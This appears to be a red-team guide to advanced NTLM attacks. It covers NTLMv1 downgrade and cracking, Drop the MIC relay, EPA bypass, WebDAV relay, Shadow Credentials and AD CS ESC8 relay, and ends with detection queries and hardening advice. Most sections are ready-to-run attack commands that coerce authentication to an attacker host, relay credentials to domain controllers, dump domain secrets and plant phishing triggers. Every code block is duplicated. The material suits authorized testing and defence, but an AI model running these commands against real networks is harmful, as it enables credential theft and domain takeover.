NTLM Downgrade & Advanced Relay

Modern NTLM attacks go beyond basic relay — NTLMv2 to NTLMv1 downgrade enables cracking via rainbow tables, "Drop the MIC" bypasses signing enforcement, and WebDAV relay circumvents SMB signing requirements. These techniques remain critical in 2024+ environments where NTLM hasn't been fully disabled.

Danger

NTLM relay attacks intercept and forward authentication traffic. Ensure you have explicit authorization for man-in-the-middle testing and carefully scope which hosts to target.

📚 Quick Navigation

🎯 Why This Matters

  • NTLMv1 Is Trivially Crackable: NTLMv1 hashes can be cracked to NTLM in seconds using rainbow tables (crack.sh) — downgrade makes captured hashes exploitable.
  • Signing Bypass: Drop the MIC removes the Message Integrity Code from NTLM relay, defeating signing enforcement on targets like LDAP.
  • WebDAV = No SMB Signing: WebDAV relay converts SMB authentication into HTTP NTLM, which isn't subject to SMB signing requirements.
  • NTLM Still Everywhere: Despite Microsoft pushing Kerberos, most Windows environments still allow NTLM fallback authentication.

NTLMv2 → NTLMv1 Downgrade

By default, modern Windows uses NTLMv2 which includes a server challenge making offline cracking impractical. However, if you control the server responding to the NTLM authentication, you can request NTLMv1 by setting specific NTLMSSP negotiation flags. The captured NTLMv1 response can then be cracked instantly.

Downgrade with Responder

bash
# Responder with NTLMv1 downgrade
python3 Responder.py -I eth0 --lm

# Capture format (with ESS disabled):
# user::domain:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE
# Responder with NTLMv1 downgrade
python3 Responder.py -I eth0 --lm

# Capture format (with ESS disabled):
# user::domain:LM_RESPONSE:NTLM_RESPONSE:SERVER_CHALLENGE

Information

The --lm flag forces NTLMv1 in the NTLMSSP challenge. Whether downgrade works depends on the client's LmCompatibilityLevel: Level 0-2 sends LM/NTLM responses (vulnerable), Level 3-5 sends NTLMv2 only (downgrade blocked). Most modern Windows defaults are level 3, but legacy systems at 0-2 remain common.

Downgrade with InternalMonologue

InternalMonologue performs NTLMv1 downgrade entirely locally — it temporarily sets LmCompatibilityLevel=0, captures NTLMv1 hashes for all logged-on users, then restores the original setting. No network traffic is generated and output is directly submittable to crack.sh for instant NTLM hash recovery.

powershell
# Perform local NTLMv1 downgrade and capture all logged-on user hashes
InternalMonologue.exe -Downgrade True -Restore True -Impersonate True
# Perform local NTLMv1 downgrade and capture all logged-on user hashes
InternalMonologue.exe -Downgrade True -Restore True -Impersonate True

Cracking NTLMv1

NTLMv1 uses DES internally — the response can be split into 3 DES keys for brute-force cracking. Alternatively, submit directly to crack.sh (free rainbow table service) for instant recovery.

bash
# Convert NTLMv1 response to format for rainbow tables
python3 ntlmv1-multi.py --ntlmv1 "user::CORP:RESPONSE:RESPONSE:CHALLENGE"

# DES brute-force with hashcat (split into 3 DES keys)
hashcat -m 14000 -a 3 des_key1.hash ?h?h?h?h?h?h?h?h
hashcat -m 14000 -a 3 des_key2.hash ?h?h?h?h?h?h?h?h

# Use recovered NTLM hash for pass-the-hash
nxc smb target -u user -H 'recovered-ntlm-hash'
# Convert NTLMv1 response to format for rainbow tables
python3 ntlmv1-multi.py --ntlmv1 "user::CORP:RESPONSE:RESPONSE:CHALLENGE"

# DES brute-force with hashcat (split into 3 DES keys)
hashcat -m 14000 -a 3 des_key1.hash ?h?h?h?h?h?h?h?h
hashcat -m 14000 -a 3 des_key2.hash ?h?h?h?h?h?h?h?h

# Use recovered NTLM hash for pass-the-hash
nxc smb target -u user -H 'recovered-ntlm-hash'

Drop the MIC (CVE-2019-1040)

The MIC (Message Integrity Code) in NTLM prevents tampering with authentication messages during relay. "Drop the MIC" removes or modifies the MIC flag, allowing relay to targets that require signing (like LDAP/S). While patched in June 2019, many environments remain unpatched or have legacy systems vulnerable.

bash
# ntlmrelayx with MIC removal (for unpatched targets)
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic \
  --delegate-access --escalate-user 'FAKECOMP$'

# Combine with coercion for unauthenticated RBCD
# Step 1: Start relay
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic --delegate-access

# Step 2: Coerce authentication
python3 PetitPotam.py attacker-ip target.corp.local

# If target DC is unpatched, MIC is stripped and LDAP relay succeeds
# even though LDAP signing is "required"
# ntlmrelayx with MIC removal (for unpatched targets)
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic \
  --delegate-access --escalate-user 'FAKECOMP$'

# Combine with coercion for unauthenticated RBCD
# Step 1: Start relay
ntlmrelayx.py -t ldaps://dc01.corp.local --remove-mic --delegate-access

# Step 2: Coerce authentication
python3 PetitPotam.py attacker-ip target.corp.local

# If target DC is unpatched, MIC is stripped and LDAP relay succeeds
# even though LDAP signing is "required"

EPA (Extended Protection for Authentication) Bypass

EPA (Channel Binding) ties NTLM auth to the TLS channel, blocking relay. Bypass by relaying via HTTP (no TLS = no channel binding) or targeting endpoints without EPA configured — AD CS web enrollment is a common target.

bash
# ntlmrelayx — relay to HTTP endpoints that lack EPA
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
  --adcs --template DomainController
# ntlmrelayx — relay to HTTP endpoints that lack EPA
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

WebDAV NTLM Relay

WebDAV relay is one of the most powerful relay techniques because it converts SMB→HTTP. Since HTTP doesn't enforce SMB signing, you can relay to targets even when SMB signing is required. The WebClient service must be running on the source machine.

bash
# Check if WebClient service is running (required for WebDAV)
nxc smb targets.txt -u user -p 'Pass123' -M webdav

# Start WebDAV relay — listen on HTTP, relay to LDAPS
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access \
  --serve-image ./trigger.jpg

# Trigger WebDAV auth — use UNC with hostname (NOT IP) on port 80
# Drop on a writable share or send via phishing
# \\attacker@80\share\file.txt

# Start WebClient service remotely (required for WebDAV)
python3 webclientservicescanner.py -u user -p Pass123 -d corp.local targets.txt
# Check if WebClient service is running (required for WebDAV)
nxc smb targets.txt -u user -p 'Pass123' -M webdav

# Start WebDAV relay — listen on HTTP, relay to LDAPS
ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access \
  --serve-image ./trigger.jpg

# Trigger WebDAV auth — use UNC with hostname (NOT IP) on port 80
# Drop on a writable share or send via phishing
# \\attacker@80\share\file.txt

# Start WebClient service remotely (required for WebDAV)
python3 webclientservicescanner.py -u user -p Pass123 -d corp.local targets.txt

Information

SearchConnector trigger: Drop a .searchConnector-ms file on a writable share. \n When a user browses the folder, Windows automatically makes a WebDAV connection to your listener, \n sending their NTLM credentials for relay.

Relay to Shadow Credentials

bash
# Relay coerced authentication to add Shadow Credentials
# instead of RBCD — useful when MachineAccountQuota = 0
ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials \
  --shadow-target 'TARGET-SRV$'

# After relay succeeds, use the generated PFX certificate
# to authenticate as the target machine
python3 gettgtpkinit.py -cert-pfx target.pfx -pfx-pass password \
  corp.local/'TARGET-SRV$' target.ccache

# Extract NT hash from the PAC
python3 getnthash.py -key <AS-REP-key> corp.local/'TARGET-SRV$'

# Use the machine hash for secretsdump
secretsdump.py -hashes :machine-hash corp.local/'TARGET-SRV$'@target-srv.corp.local
# Relay coerced authentication to add Shadow Credentials
# instead of RBCD — useful when MachineAccountQuota = 0
ntlmrelayx.py -t ldaps://dc01.corp.local --shadow-credentials \
  --shadow-target 'TARGET-SRV$'

# After relay succeeds, use the generated PFX certificate
# to authenticate as the target machine
python3 gettgtpkinit.py -cert-pfx target.pfx -pfx-pass password \
  corp.local/'TARGET-SRV$' target.ccache

# Extract NT hash from the PAC
python3 getnthash.py -key <AS-REP-key> corp.local/'TARGET-SRV$'

# Use the machine hash for secretsdump
secretsdump.py -hashes :machine-hash corp.local/'TARGET-SRV$'@target-srv.corp.local

Relay to AD CS (ESC8)

bash
# Relay NTLM auth to AD CS HTTP enrollment endpoint
# to get a certificate as the coerced machine
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
  --adcs --template Machine

# Combine with PetitPotam for DC certificate
python3 PetitPotam.py attacker-ip dc01.corp.local

# ntlmrelayx captures the DC's certificate
# Use it to authenticate and DCSync
python3 gettgtpkinit.py -cert-pfx dc01.pfx corp.local/dc01$ dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.corp.local
# Relay NTLM auth to AD CS HTTP enrollment endpoint
# to get a certificate as the coerced machine
ntlmrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp \
  --adcs --template Machine

# Combine with PetitPotam for DC certificate
python3 PetitPotam.py attacker-ip dc01.corp.local

# ntlmrelayx captures the DC's certificate
# Use it to authenticate and DCSync
python3 gettgtpkinit.py -cert-pfx dc01.pfx corp.local/dc01$ dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass dc01.corp.local

Detection & Blue Team

Event ID Source Indicator
4624 Security Logon with NTLMv1 — AuthenticationPackageName=NTLM, LmPackageName=NTLM V1
8001 NTLM NTLM authentication — filter for NTLMv1 vs NTLMv2
4648 Security Explicit credential logon — relay creates authentication from unexpected IPs
text
// KQL — Detect NTLMv1 authentication attempts
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LmPackageName == "NTLM V1"
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress

// Detect NTLM relay — source IP != workstation IP
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where IpAddress != WorkstationName and IpAddress != ""
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress
// KQL — Detect NTLMv1 authentication attempts
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where LmPackageName == "NTLM V1"
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress

// Detect NTLM relay — source IP != workstation IP
SecurityEvent
| where EventID == 4624
| where AuthenticationPackageName == "NTLM"
| where IpAddress != WorkstationName and IpAddress != ""
| project TimeGenerated, TargetUserName, WorkstationName, IpAddress

Hardening

Enforce NTLMv2 (Level 5)

Set LmCompatibilityLevel=5 via GPO to refuse NTLMv1 — blocks downgrade attacks entirely.

Enable SMB Signing Everywhere

Require SMB signing on all machines — blocks SMB-to-SMB relay (but not WebDAV).

Enable EPA on LDAPS

Enable Extended Protection for Authentication (Channel Binding) on LDAPS to block relay to LDAP.

Disable WebClient Service

Disable the WebClient service on servers and workstations where WebDAV is not needed.